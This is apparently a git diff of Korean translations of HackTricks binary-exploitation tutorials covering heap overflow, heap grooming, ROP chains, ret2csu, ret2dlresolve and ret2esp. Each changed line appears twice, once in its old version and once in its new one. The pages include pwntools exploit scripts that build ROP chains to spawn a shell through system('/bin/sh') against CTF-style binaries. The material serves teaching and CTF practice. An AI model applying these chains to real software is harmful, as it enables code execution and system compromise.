힙 오버플로우는 [**스택 오버플로우**](../stack-overflow/)와 비슷하지만 힙에서 발생합니다. 기본적으로 이는 힙에 데이터를 저장하기 위해 예약된 공간이 있고 **저장된 데이터가 예약된 공간보다 더 크다는 것을 의미합니다.**
힙 오버플로우는 [**스택 오버플로우**](../stack-overflow/index.html)와 비슷하지만 힙에서 발생합니다. 기본적으로 이는 힙에 데이터를 저장하기 위해 예약된 공간이 있고 **저장된 데이터가 예약된 공간보다 더 크다는 것을 의미합니다.**
스택 오버플로우에서는 명령 포인터나 스택 프레임과 같은 일부 레지스터가 스택에서 복원될 것이며 이를 악용할 수 있는 가능성이 있습니다. 힙 오버플로우의 경우, **기본적으로 힙 청크에 저장된 민감한 정보는 없습니다**. 그러나 민감한 정보나 포인터일 수 있으므로, 이 취약점의 **중요성**은 **어떤 데이터가 덮어씌워질 수 있는지**와 공격자가 이를 어떻게 악용할 수 있는지에 따라 **달라집니다**.
@ -15,11 +15,11 @@
스택 오버플로우에서는 취약점이 발생할 때 스택에 존재할 데이터와 배열이 상당히 신뢰할 수 있습니다. 이는 스택이 선형적이며, 항상 충돌하는 메모리에서 증가하고, **프로그램 실행의 특정 위치에서 스택 메모리는 보통 유사한 종류의 데이터를 저장하며** 각 함수에서 사용되는 스택 부분의 끝에 특정 구조와 포인터가 있기 때문입니다.
그러나 힙 오버플로우의 경우, 사용된 메모리는 선형적이지 않으며 **할당된 청크는 보통 메모리의 분리된 위치에 있습니다** (서로 인접하지 않음) **크기별로 할당을 구분하는 빈과 구역** 때문에 그리고 **이전의 해제된 메모리가** 새로운 청크를 할당하기 전에 사용되기 때문입니다. **힙 오버플로우에 취약한 객체와 충돌할 객체를 아는 것은 복잡합니다.** 따라서 힙 오버플로우가 발견되면, **오버플로우될 수 있는 객체와 메모리에서 다음에 올 객체를 신뢰할 수 있는 방법으로 만들어야 합니다.**
그러나 힙 오버플로우의 경우, 사용된 메모리는 선형적이지 않으며 **할당된 청크는 보통 메모리의 분리된 위치에 있습니다** (서로 인접하지 않음) **빈과 영역**이 크기에 따라 할당을 분리하고 **이전의 해제된 메모리가** 새로운 청크를 할당하기 전에 사용되기 때문입니다. **어떤 객체가 힙 오버플로우에 취약한 객체와 충돌할 것인지 아는 것은 복잡합니다.** 따라서 힙 오버플로우가 발견되면, **오버플로우된 객체가 메모리에서 원하는 객체와 인접하도록 만드는 신뢰할 수 있는 방법을 찾아야 합니다.**
이를 위해 사용되는 기술 중 하나는 **힙 그루밍**입니다. 예를 들어 [**이 게시물**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)에서 설명됩니다. 이 게시물에서는 iOS 커널에서 메모리 청크를 저장할 공간이 부족할 때, 커널 페이지로 확장하고 이 페이지를 예상 크기의 청크로 나누어 순서대로 사용된다고 설명합니다 (iOS 버전 9.2까지, 이후에는 이러한 청크가 무작위로 사용되어 공격의 악용을 어렵게 만듭니다).
이를 위해 사용되는 기술 중 하나는 **힙 그루밍**입니다. 예를 들어 [**이 게시물**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)에서 설명됩니다. 이 게시물에서는 iOS 커널에서 메모리 청크를 저장할 공간이 부족할 때, 커널 페이지로 확장하고 이 페이지를 예상 크기의 청크로 나누어 순서대로 사용되는 방법을 설명합니다 (iOS 버전 9.2까지, 이후에는 이러한 청크가 무작위로 사용되어 공격의 악용을 어렵게 만듭니다).
따라서 힙 오버플로우가 발생하는 이전 게시물에서, 오버플로우된 객체가 피해자 객체와 충돌하도록 강제하기 위해 여러 **`kalloc`이 여러 스레드에 의해 강제되어 모든 무료 청크가 채워지고 새로운 페이지가 생성되도록 시도합니다.**
따라서 힙 오버플로우가 발생하는 이전 게시물에서, 오버플로우된 객체가 피해자 객체와 충돌하도록 강제하기 위해 여러 **`kalloc`이 여러 스레드에 의해 강제되어 모든 무료 청크가 채워지고 새로운 페이지가 생성되도록 시도합니다.**
특정 크기의 객체로 이 채우기를 강제하기 위해, **iOS 맥 포트와 관련된 아웃 오브 라인 할당**이 이상적인 후보입니다. 메시지의 크기를 조정함으로써 `kalloc` 할당의 크기를 정확히 지정할 수 있으며, 해당 맥 포트가 파괴되면 해당 할당이 즉시 `kfree`로 반환됩니다.
@ -27,9 +27,9 @@
### 예제 libc
[**이 페이지**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html)에서는 다음 청크의 prev in use 비트와 prev size의 위치를 덮어쓰는 방법을 보여주는 기본 힙 오버플로우 에뮬레이션을 찾을 수 있습니다. 이를 통해 **사용 중인 청크를 통합**(사용되지 않는 것처럼 보이게 함)하고 **다시 할당하여 다른 포인터에서 사용 중인 데이터를 덮어쓸 수 있습니다.**
[**이 페이지**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html)에서는 다음 청크의 prev in use 비트와 prev 크기를 덮어쓰는 방법을 보여주는 기본 힙 오버플로우 에뮬레이션을 찾을 수 있습니다. 이를 통해 **사용 중인 청크를 통합**(사용되지 않는 것으로 인식하게 함)하고 **다시 할당하여** 다른 포인터에서 사용 중인 데이터를 덮어쓸 수 있습니다.
[**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html)에서 또 다른 예제는 **힙 오버플로우**를 악용하여 승리 함수를 호출하여 **플래그를 얻는** 매우 기본적인 CTF 예제를 보여줍니다.
[**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html)에서 또 다른 예제는 **힙 오버플로우**를 악용하여 승리 함수 호출을 통해 **플래그를 얻는** 매우 기본적인 CTF 예제를 보여줍니다.
[**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) 예제에서는 버퍼 오버플로우를 악용하여 **근처 청크에 주소를 덮어쓸 수 있는 방법**을 볼 수 있습니다. 여기서 **사용자로부터 임의의 데이터**가 기록될 것입니다.

View File

@ -9,7 +9,7 @@
### ROP 작동 방식
1. **제어 흐름 탈취**: 먼저, 공격자는 프로그램의 제어 흐름을 탈취해야 하며, 일반적으로 버퍼 오버플로우를 이용해 스택에 저장된 반환 주소를 덮어씁니다.
2. **가젯 체이닝**: 공격자는 원하는 작업을 수행하기 위해 가젯을 신중하게 선택하고 연결합니다. 여기에는 함수 호출을 위한 인수 설정, 함수 호출(예: `system("/bin/sh")`), 필요한 정리 또는 추가 작업 처리 등이 포함될 수 있습니다.
2. **가젯 체이닝**: 공격자는 원하는 작업을 수행하기 위해 가젯을 신중하게 선택하고 연결합니다. 여기에는 함수 호출을 위한 인수 설정, 함수 호출(예: `system("/bin/sh")`), 필요한 정리 작업 또는 추가 작업 처리 등이 포함될 수 있습니다.
3. **페이로드 실행**: 취약한 함수가 반환될 때, 합법적인 위치로 반환하는 대신 가젯 체인을 실행하기 시작합니다.
### 도구
@ -18,7 +18,7 @@
## x86 예제에서의 ROP 체인
### **x86 (32비트) 호출 규약**
### **x86 (32-bit) 호출 규약**
- **cdecl**: 호출자가 스택을 정리합니다. 함수 인수는 역순(오른쪽에서 왼쪽으로)으로 스택에 푸시됩니다. **인수는 오른쪽에서 왼쪽으로 스택에 푸시됩니다.**
- **stdcall**: cdecl과 유사하지만, 피호출자가 스택을 정리할 책임이 있습니다.
@ -30,15 +30,15 @@
- `pop eax; ret`: 이 가젯은 스택의 최상위 값을 `EAX` 레지스터로 팝하고 반환하여 `EAX`를 제어할 수 있게 합니다.
- `pop ebx; ret`: 위와 유사하지만 `EBX` 레지스터에 대한 것으로, `EBX`를 제어할 수 있게 합니다.
- `mov [ebx], eax; ret`: `EAX`의 값을 `EBX`가 가리키는 메모리 위치로 이동하고 반환합니다. 이는 종종 **write-what-where gadget**이라고 불립니다.
- 추가로, `system()` 함수의 주소 사용할 수 있습니다.
- 추가로, `system()` 함수의 주소 사용할 수 있습니다.
### **ROP 체인**
**pwntools**를 사용하여 ROP 체인 실행을 위해 스택을 다음과 같이 준비합니다. `system('/bin/sh')`를 실행하는 것을 목표로 하며, 체인이 다음으로 시작하는 방식을 주목하십시오:
**pwntools**를 사용하여 ROP 체인 실행을 위해 스택을 다음과 같이 준비합니다. `system('/bin/sh')`를 실행하는 것을 목표로 하며, 체인이 다음과 같이 시작됨을 주목하십시오:
1. 정렬을 위한 `ret` 명령어 (선택 사항)
2. `system` 함수의 주소 (ASLR 비활성화 및 libc가 알려진 경우 가정, 더 많은 정보는 [**Ret2lib**](ret2lib/)에서 확인)
3. `system()`에서 반환 주소를 위한 자리 표시자
2. `system` 함수의 주소 (ASLR 비활성화 및 libc가 알려진 경우 가정, 더 많은 정보는 [**Ret2lib**](ret2lib/index.html)에서 확인)
3. `system()` 반환 주소를 위한 자리 표시자
4. `"/bin/sh"` 문자열 주소 (system 함수의 매개변수)
```python
from pwn import *
@ -77,15 +77,15 @@ p.interactive()
### **x64 (64비트) 호출 규약**
- **System V AMD64 ABI** 호출 규약을 사용하는 Unix 유사 시스템에서 **첫 번째 여섯 개의 정수 또는 포인터 인자는 레지스터 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, `R9`**에 전달됩니다. 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`배치됩니다.
- **Windows x64** 호출 규약은 첫 번째 네 개의 정수 또는 포인터 인자를 위해 `RCX`, `RDX`, `R8`, 및 `R9`를 사용하며, 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`배치됩니다.
- **레지스터**: 64비트 레지스터에는 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, `R8`에서 `R15`까지 포함됩니다.
- 유닉스 계열 시스템에서 **System V AMD64 ABI** 호출 규약을 사용하며, **첫 여섯 개의 정수 또는 포인터 인자는 레지스터 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, `R9`**에 전달됩니다. 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`저장됩니다.
- **Windows x64** 호출 규약은 첫 네 개의 정수 또는 포인터 인자에 대해 `RCX`, `RDX`, `R8`, `R9`를 사용하며, 추가 인자는 스택에 전달됩니다. 반환 값은 `RAX`저장됩니다.
- **레지스터**: 64비트 레지스터에는 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, `R8`에서 `R15`까지 포함됩니다.
#### **가젯 찾기**
우리의 목적을 위해, **RDI** 레지스터를 설정할 수 있는 가젯에 집중하겠습니다 ( **"/bin/sh"** 문자열을 **system()**에 인자로 전달하기 위해) 그리고 **system()** 함수를 호출합니다. 다음 가젯을 식별했다고 가정하겠습니다:
우리의 목적을 위해, **RDI** 레지스터를 설정할 수 있는 가젯에 집중하겠습니다 (인자로 **system()**에 **"/bin/sh"** 문자열을 전달하기 위해) 그리고 **system()** 함수를 호출합니다. 다음 가젯을 식별했다고 가정하겠습니다:
- **pop rdi; ret**: 스택의 최상위 값을 **RDI**에 팝하고 반환합니다. **system()**에 대한 인자를 설정하는 데 필수적입니다.
- **pop rdi; ret**: 스택의 최상위 값을 **RDI**에 팝하고 반환합니다. **system()** 인자를 설정하는 데 필수적입니다.
- **ret**: 간단한 반환으로, 일부 시나리오에서 스택 정렬에 유용합니다.
그리고 우리는 **system()** 함수의 주소를 알고 있습니다.
@ -127,15 +127,15 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
이 예제에서:
In this example:
- 우리는 **`pop rdi; ret`** 가젯을 사용하여 **`RDI`**를 **`"/bin/sh"`**의 주소로 설정합니다.
- **`RDI`**를 설정한 후, 체인에 **system()**의 주소가 있는 상태에서 **`system()`**으로 직접 점프합니다.
- **`ret_gadget`**은 대상 환경이 필요로 할 경우 정렬을 위해 사용되며, 이는 함수 호출 전에 적절한 스택 정렬을 보장하기 위해 **x64**에서 더 일반적입니다.
- **`RDI`**를 설정한 후, 체인에 **system()**의 주소를 포함하여 **`system()`**으로 직접 점프합니다.
- **`ret_gadget`**은 대상 환경이 필요로 할 경우 정렬을 위해 사용되며, 이는 **x64**에서 함수 호출 전에 적절한 스택 정렬을 보장하기 위해 더 일반적입니다.
### 스택 정렬
**x86-64 ABI**는 **call instruction**이 실행될 때 **스택이 16바이트 정렬**되도록 보장합니다. **LIBC**는 성능 최적화를 위해 **SSE instructions**(예: **movaps**)를 사용하며, 이 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면(**RSP**가 16의 배수가 아닐 경우) **ROP chain**에서 **system**과 같은 함수 호출이 실패합니다. 이를 해결하려면 ROP 체인에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다.
**x86-64 ABI**는 **call instruction**이 실행될 때 **스택이 16바이트 정렬**되도록 보장합니다. **LIBC**는 성능 최적화를 위해 **SSE instructions**(예: **movaps**)를 사용하며, 이 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면(**RSP**가 16의 배수가 아닐 경우) **system**과 같은 함수 호출이 **ROP chain**에서 실패합니다. 이를 해결하려면, ROP 체인에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다.
## x86과 x64의 주요 차이점
@ -154,21 +154,21 @@ p.interactive()
## ROP에 대한 보호 조치
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): 이러한 보호 조치는 가젯의 주소가 실행 간에 변경되므로 ROP 사용을 더 어렵게 만듭니다.
- [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/): BOF의 경우, ROP 체인을 악용하기 위해 반환 포인터를 덮어쓰려면 스택 카나리를 우회해야 합니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): 이러한 보호 조치는 가젯의 주소가 실행 간에 변경되므로 ROP 사용을 더 어렵게 만듭니다.
- [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/index.html): BOF의 경우, ROP 체인을 악용하기 위해 반환 포인터를 덮어쓰려면 스택 카나리를 우회해야 합니다.
- **가젯 부족**: 가젯이 충분하지 않으면 ROP 체인을 생성할 수 없습니다.
## ROP 기반 기술
ROP는 임의 코드를 실행하기 위한 기술일 뿐입니다. ROP를 기반으로 많은 Ret2XXX 기술이 개발되었습니다:
ROP는 임의 코드를 실행하기 위한 기술일 뿐입니다. ROP를 기반으로 많은 Ret2XXX 기술이 개발되었습니다:
- **Ret2lib**: ROP를 사용하여 로드된 라이브러리에서 임의의 함수와 임의의 매개변수(보통 `system('/bin/sh')`와 같은)를 호출합니다.
- **Ret2lib**: ROP를 사용하여 로드된 라이브러리에서 임의의 매개변수로 임의의 함수를 호출합니다(보통 `system('/bin/sh')`와 같은 형태).
{{#ref}}
ret2lib/
{{#endref}}
- **Ret2Syscall**: ROP를 사용하여 `execve`와 같은 시스템 호출을 준비하고 임의의 명령을 실행하게 합니다.
- **Ret2Syscall**: ROP를 사용하여 시스템 호출을 준비하고, 예를 들어 `execve`를 호출하여 임의의 명령을 실행합니다.
{{#ref}}
rop-syscall-execv/
@ -180,7 +180,7 @@ rop-syscall-execv/
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
{{#endref}}
## 기타 예제 및 참고 자료
## 기타 예제 및 참
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)

View File

@ -6,15 +6,15 @@
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)기본 정보
**ret2csu**는 프로그램을 제어하려고 할 때 일반적으로 프로그램의 동작을 조작하는 데 사용하는 **gadgets**를 찾을 수 없을 때 사용되는 해킹 기술입니다.
**ret2csu**는 프로그램을 제어하려고 할 때 사용하는 해킹 기술로, 프로그램의 동작을 조작하는 데 일반적으로 사용하는 **gadgets**를 찾을 수 없을 때 사용됩니다.
프로그램이 특정 라이브러리(예: libc)를 사용할 때, 프로그램의 다양한 부분이 서로 통신하는 방식을 관리하기 위한 몇 가지 내장 함수가 있습니다. 이러한 함수 중에는 특히 `__libc_csu_init`이라는 이름의 누락된 gadgets 역할을 할 수 있는 숨겨진 보석들이 있습니다.
프로그램이 특정 라이브러리(예: libc)를 사용할 때, 서로 다른 프로그램 조각들이 어떻게 상호작용하는지를 관리하기 위한 몇 가지 내장 함수가 있습니다. 이러한 함수 중에는 우리가 잃어버린 gadgets 역할을 할 수 있는 숨겨진 보석들이 있으며, 특히 `__libc_csu_init`이라는 함수가 있습니다.
### \_\_libc_csu_init의 마법의 Gadgets
**`__libc_csu_init`**에는 강조할 두 가지 명령어 시퀀스(gadgets)가 있습니다:
1. 첫 번째 시퀀스는 여러 레지스터(rbx, rbp, r12, r13, r14, r15)에 값을 설정할 수 있게 해줍니다. 이들은 나중에 사용하고자 하는 숫자나 주소를 저장할 수 있는 슬롯과 같습니다.
1. 첫 번째 시퀀스는 여러 레지스터(rbx, rbp, r12, r13, r14, r15)에 값을 설정할 수 있게 해줍니다. 이들은 나중에 사용하고 싶은 숫자나 주소를 저장할 수 있는 슬롯과 같습니다.
```armasm
pop rbx;
pop rbp;
@ -35,7 +35,7 @@ mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
3. 아마도 거기에 쓸 주소를 모를 것이고 **`ret` 명령어가 필요합니다**. 두 번째 가젯도 **`ret`로 끝나지만**, 그것에 도달하기 위해서는 몇 가지 **조건을 충족해야 합니다**:
3. 아마도 거기에 쓸 주소를 모를 것이고 **`ret` 명령어가 필요합니다**. 두 번째 가젯도 **`ret`로 끝날 것**이라는 점에 유의해야 하지만, 그것에 도달하기 위해서는 몇 가지 **조건을 충족해야** 합니다:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -49,7 +49,7 @@ ret
```
조건은 다음과 같습니다:
- `[r12 + rbx*8]`는 호출 가능한 함수가 저장된 주소를 가리켜야 합니다 (아이디어가 없고 pie가 없다면, 그냥 `_init` 함수를 사용할 수 있습니다):
- `[r12 + rbx*8]`는 호출 가능한 함수가 저장된 주소를 가리켜야 합니다 (아이디어가 없고 PIE가 없다면, 그냥 `_init` 함수를 사용할 수 있습니다):
- 만약 \_init이 `0x400560`에 있다면, GEF를 사용하여 메모리에서 그것에 대한 포인터를 검색하고 `[r12 + rbx*8]`가 \_init에 대한 포인터가 있는 주소가 되도록 하십시오:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
@ -63,7 +63,7 @@ gef➤ search-pattern 0x400560
- `rbp``rbx`는 점프를 피하기 위해 동일한 값을 가져야 합니다.
- 고려해야 할 생략된 pop이 있습니다.
## RDI RSI
## RDI RSI
ret2csu 가젯에서 **`rdi`**와 **`rsi`**를 제어하는 또 다른 방법은 특정 오프셋에 접근하는 것입니다:
@ -79,11 +79,11 @@ brop-blind-return-oriented-programming.md
### 호출 사용
syscall을 하거나 `write()`와 같은 함수를 호출하고 싶지만 `rdx``rsi` 레지스터에 특정 값이 필요하다고 가정해 보겠습니다. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾지만, 찾을 수 없습니다.
syscall을 하거나 `write()`와 같은 함수를 호출하고 싶지만 `rdx``rsi` 레지스터에 특정 값이 필요하다고 가정해 보겠습니다. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾지만, 찾을 수 없습니다.
여기서 **ret2csu**가 등장합니다:
1. **레지스터 설정**: 첫 번째 매직 가젯을 사용하여 스택에서 값을 pop하여 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), r15에 넣습니다.
1. **레지스터 설정**: 첫 번째 매직 가젯을 사용하여 스택에서 값을 pop하여 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), r15로 이동합니다.
2. **두 번째 가젯 사용**: 이러한 레지스터가 설정되면 두 번째 가젯을 사용합니다. 이를 통해 선택한 값을 `rdx``rsi`(각각 r14와 r13에서)로 이동시켜 함수 호출을 위한 매개변수를 준비합니다. 또한 `r15``rbx`를 제어하여 프로그램이 계산한 주소에 있는 함수를 호출하도록 할 수 있습니다. 이 주소는 `[r15 + rbx*8]`에 배치됩니다.
이 기술을 사용한 [**예시와 설명이 여기에 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), 그리고 이것이 사용된 최종 익스플로잇입니다:
@ -111,7 +111,7 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> 이전 익스플로잇은 **`RCE`**를 수행하기 위한 것이 아니라, **`win`**이라는 함수를 호출하기 위한 것입니다(ROP 체인에서 stdin 호출을 통해 `win`의 주소를 가져와 r15에 저장함) 그리고 세 번째 인수로 값 `0xdeadbeefcafed00d`를 사용합니다.
> 이전 익스플로잇은 **`RCE`**를 수행하기 위한 것이 아니라, **`win`**이라는 함수를 호출하기 위한 것입니다 (ROP 체인에서 stdin 호출을 통해 `win`의 주소를 가져와 r15에 저장함) 세 번째 인수로 값 `0xdeadbeefcafed00d`를 사용합니다.
### 호출 우회 및 ret 도달
@ -165,8 +165,8 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### 왜 그냥 libc를 직접 사용하지 않을까요?
### Why Not Just Use libc Directly?
보통 이러한 경우는 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)에 취약하지만, 때때로 libc에서 직접 찾은 가젯으로 쉽게 제어할 수 있는 것보다 더 많은 매개변수를 제어해야 할 필요가 있습니다. 예를 들어, `write()` 함수는 세 개의 매개변수를 필요로 하며, **이 모든 것을 직접 설정할 수 있는 가젯을 찾는 것은 불가능할 수 있습니다**.
보통 이러한 경우는 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html)에 취약하지만, 때때로 libc에서 직접 찾은 가젯으로 쉽게 제어할 수 있는 것보다 더 많은 매개변수를 제어해야 할 필요가 있습니다. 예를 들어, `write()` 함수는 세 개의 매개변수를 필요로 하며, **이 모든 것을 직접 설정할 수 있는 가젯을 찾는 것은 불가능할 수 있습니다**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,18 +2,18 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) [**Relro**](../common-binary-protections-and-bypasses/relro.md)에 대한 페이지에서 설명한 바와 같이, Full Relro가 없는 바이너리는 처음 사용될 때 기호(외부 라이브러리에 대한 주소와 같은)를 해결합니다. 이 해결은 **`_dl_runtime_resolve`** 함수를 호출하여 발생합니다.
[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) [**Relro**](../common-binary-protections-and-bypasses/relro.md)에 대한 페이지에서 설명한 바와 같이, Full Relro가 없는 바이너리는 처음 사용될 때 외부 라이브러리에 대한 주소와 같은 기호를 해결합니다. 이 해결은 **`_dl_runtime_resolve`** 함수를 호출하여 발생합니다.
**`_dl_runtime_resolve`** 함수는 지정된 기호를 **해결**하는 데 필요한 몇 가지 구조체에 대한 참조를 스택에서 가져옵니다.
따라서 요청된 기호(예: **`system`** 함수)를 동적으로 연결된 해결을 위해 **모든 이러한 구조체를 위조**하고 구성된 매개변수(예: **`system('/bin/sh')`**)로 호출할 수 있습니다.
따라서, 요청된 기호(예: **`system`** 함수)를 동적으로 연결된 해결을 위해 **모든 이러한 구조체를 위조**할 수 있으며, 구성된 매개변수(예: **`system('/bin/sh')`**)로 호출할 수 있습니다.
일반적으로 이러한 모든 구조체는 **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어 위조**됩니다. 그런 다음 **구조체**와 문자열 **`'/bin/sh'`**가 전달되어 읽기에서 알려진 위치에 저장되고, 이후 ROP 체인은 **`_dl_runtime_resolve`**를 호출하여 **가짜 구조체에서 `system`의 주소를 해결**하고 **이 주소를** `$'/bin/sh'`의 주소로 호출합니다.
일반적으로, 이러한 모든 구조체는 **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어 위조**됩니다. 그런 다음 **구조체**와 문자열 **`'/bin/sh'`**가 전달되어 읽기에서 알려진 위치에 저장되고, 이후 ROP 체인은 **`_dl_runtime_resolve`**를 호출하여 **가짜 구조체에서 `system`의 주소를 해결**하고 **이 주소를** `$'/bin/sh'`의 주소로 호출합니다.
> [!TIP]
> 이 기술은 syscall 가젯이 없고([**ret2syscall**](rop-syscall-execv/) 또는 [SROP](srop-sigreturn-oriented-programming/)와 같은 기술을 사용할 수 없는 경우) libc 주소를 유출할 방법이 없을 때 특히 유용합니다.
> 이 기술은 syscall 가젯이 없고([**ret2syscall**](rop-syscall-execv/index.html) 또는 [SROP](srop-sigreturn-oriented-programming/index.html)와 같은 기술을 사용할 수 없는 경우) libc 주소를 유출할 방법이 없을 때 특히 유용합니다.
이 기술에 대한 좋은 설명을 비디오 후반부에서 확인하세요:
@ -26,15 +26,15 @@ https://youtu.be/ADULSwnQs-s?feature=shared
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
## Attack Summary
## 공격 요약
1. 일부 위치에 가짜 구조체 작성
2. system의 첫 번째 인수 설정 (`$rdi = &'/bin/sh'`)
3. **`_dl_runtime_resolve`**를 호출하기 위해 구조체의 주소를 스택에 설정
4. **Call** `_dl_runtime_resolve`
5. **`system`**이 해결되고 `'/bin/sh'`를 인수로 호출됩니다.
3. **`_dl_runtime_resolve`**를 호출하기 위해 스택에 구조체의 주소 설정
4. **호출** `_dl_runtime_resolve`
5. **`system`**이 해결되고 `'/bin/sh'`를 인수로 호출
[**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html)에서, **`ret2dlresolve`** 공격은 다음과 같이 보입니다:
[**pwntools 문서**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html)에서, **`ret2dlresolve`** 공격이 어떻게 생겼는지 보여줍니다:
```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
@ -188,6 +188,6 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32비트, no relro, no canary, nx, no pie, 기본 작은 버퍼 오버플로우 및 반환. 이를 이용해 bof는 `.bss` 섹션과 더 큰 크기로 `read`를 다시 호출하는 데 사용되며, 그곳에 `dlresolve` 가짜 테이블을 저장하여 `system`을 로드하고, main으로 반환한 후 초기 bof를 재사용하여 dlresolve를 호출하고 `system('/bin/sh')`를 실행합니다.
- 32비트, no relro, no canary, nx, no pie, 기본 작은 버퍼 오버플로우 및 리턴. 이를 이용해 bof를 사용하여 `.bss` 섹션과 더 큰 크기로 `read`를 다시 호출하여 `dlresolve` 가짜 테이블을 저장하고 `system`을 로드한 후 main으로 돌아가 초기 bof를 재사용하여 dlresolve를 호출하고 `system('/bin/sh')`를 실행합니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,15 +4,15 @@
## **Ret2esp**
**ESP(스택 포인터) 항상 스택의 맨 위를 가리키기 때문에**, 이 기술은 EIP(명령 포인터)를 **`jmp esp`** 또는 **`call esp`** 명령의 주소로 교체하는 것을 포함합니다. 이렇게 하면 셸코드가 덮어쓴 EIP 바로 뒤에 배치됩니다. `ret` 명령이 실행되면 ESP는 다음 주소를 가리키며, 정확히 셸코드가 저장된 위치입니다.
**ESP(스택 포인터) 항상 스택의 맨 위를 가리키기 때문에**, 이 기술은 EIP(명령 포인터)를 **`jmp esp`** 또는 **`call esp`** 명령의 주소로 교체하는 것을 포함합니다. 이렇게 하면 셸코드가 덮어쓴 EIP 바로 뒤에 배치됩니다. `ret` 명령이 실행되면 ESP는 다음 주소를 가리키며, 정확히 셸코드가 저장된 위치입니다.
**주소 공간 배치 무작위화(ASLR)**가 Windows Linux에서 활성화되지 않은 경우, 공유 라이브러리에서 발견된 `jmp esp` 또는 `call esp` 명령을 사용할 수 있습니다. 그러나 [**ASLR**](../common-binary-protections-and-bypasses/aslr/)가 활성화된 경우, 이러한 명령을 찾기 위해 취약한 프로그램 자체를 살펴봐야 할 수도 있습니다(그리고 [**PIE**](../common-binary-protections-and-bypasses/pie/)를 우회해야 할 수도 있습니다).
**주소 공간 배치 무작위화(ASLR)**가 Windows 또는 Linux에서 활성화되지 않은 경우, 공유 라이브러리에서 발견된 `jmp esp` 또는 `call esp` 명령을 사용할 수 있습니다. 그러나 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)가 활성화된 경우, 이러한 명령을 찾기 위해 취약한 프로그램 자체를 살펴봐야 할 수도 있습니다(그리고 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)를 무력화해야 할 수도 있습니다).
